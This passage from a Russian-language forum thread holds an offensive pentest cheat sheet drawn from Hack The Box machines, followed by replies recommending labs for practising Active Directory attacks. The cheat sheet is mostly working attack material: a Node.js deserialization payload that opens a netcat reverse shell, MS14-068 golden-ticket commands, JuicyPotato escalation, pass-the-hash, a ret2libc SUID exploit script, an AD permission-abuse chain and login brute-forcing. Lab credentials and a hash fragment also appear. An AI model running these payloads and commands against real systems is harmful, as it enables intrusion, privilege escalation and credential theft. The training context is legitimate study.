  • cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
WinRM via PS:
Код:
$pass = convertto-securestring 'Zx^#QZX+T!123' -asplain -force
$cred = new-object system.management.automation.pscredential('arkham\batman', $pass)
enter-pssession -computer arkham -credential $cred

Wfuzz Cookie:
  • wfuzz -c --hw=29 -w /usr/share/SecLists/Passwords/darkweb2017-top1000.txt -H "Cookie: password=FUZZ"
GCC static shared compile:
  • gcc -shared -fPIC -o libseclogin.so libseclogin.c
BGP (CISCO):
  • sh ip bgp 10.120.15.0/25
  • vtysh
  • bgp 100
NodeJs Serializer:
Код:
{"username":"_$$ND_FUNC$$_require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat  /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f', function(error, stdout, stderr) {  console.log(stdout) })","country":"Lameville","city":"Lametown","num":"2"}

Golden Ticket Automate:
  • rpcclient -U htb\\james mantis.htb.local
  • python ms14-068.py -u james@htb.local -d mantis.htb.local -p J@m3s_P@ssW0rd! -s S-1-5-21-4220043660-4019079961-2895681657
  • python goldenPac.py htb.local/james@mantis.htb.local
ICMP Reverse shell:
HotPotato:
  • wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
  • whoami /all > C:\Users\Public\proof.tx
  • .\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}
  • net user Administrator abc123! -> shell
  • psexec.py administrator@10.10.10.11
  • pth-winexe -U jeeves/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cb e81fe00 //10.10.10.63 cmd
Exploit SUID Binary:
Find libc address: ldd /usr/local/bin/backup
Find libc system function: readelf -s /lib32/libc.so.6 | grep system
Find libc exit function: readelf -s /lib32/libc.so.6 | grep exit
Find libc /bin/sh reference: strings -a -t x /lib32/libc.so.6 | grep /bin/sh
Example SUID:
Код:
import struct, subprocess
libc = 0xf75e2000
sysOffset = 0x0003a940
sysAddress = libc + sysOffset
exitOffset = 0x0002e7b0
exitAddress = libc + exitOffset
binsh = libc + 0x0015900b
payload = "A" * 512
payload += struct.pack("<I", sysAddress)
payload += struct.pack("<I", exitAddress)
payload += struct.pack("<I", binsh)
attempts = 0
while True:
    attempts += 1
    print "Attempts: " + attempts
    subprocess.call(["/usr/local/bin/backup", "-i",  "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110",  payload])

Active Directory DACL Attack Chain:
  • Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
  • Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
  • $UserPassword = ConvertTo-SecureString 'Sup3rS3cr3t!' -AsPlainText -Force -Verbose
  • Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword -Verbose
  • $Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)
  • Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $Cred
Windows Subsystem Linux :
  • Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss | %{Get-ItemProperty $_.PSPath} | out-string -width 4096
SNMP:
  • snmpwalk -Os -c public -v 1 10.10.10.20
Oracle odat:
  • quentinhardy/odat
  • Upload file: ./odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ writeup.exe writeup.exe
  • Execute file: ./odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ writeup.exe
Html form brute:
Код:
patator http_fuzz url=http://10.10.10.108/zabbix/index.php method=POST body='name=zapper&password=FILE0&autologin=1&enter=Sign+in' 0=/usr/share/SecLists/Passwords/darkweb2017-top1000.txt accept_cookie=1  follow=1 -x ignore:fgrep='Login name or password is incorrect.'

LINKS:

Ещё в довесок
Товарищи, подскажите, пожалуйста ресурсы или, если помните, названия лаб\тачек на этих ресурсах, на которых можно потренить проникновение, продвижение и повышение прив-й именно в доменах ActiveDirectory. В идеале, тестовая сеть из нескольких wind-s машин.
 
Товарищи, подскажите, пожалуйста ресурсы или, если помните, названия лаб\тачек на этих ресурсах, на которых можно потренить проникновение, продвижение и повышение прив-й именно в доменах ActiveDirectory. В идеале, тестовая сеть из нескольких wind-s машин.
На ХТБ есть ENDGAME лабы они обе про Адешки. Еще есть в PentestAcademy. и на vulnhub какие то образы.
 
  • Нравится
Реакции: Urfin--Juice
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!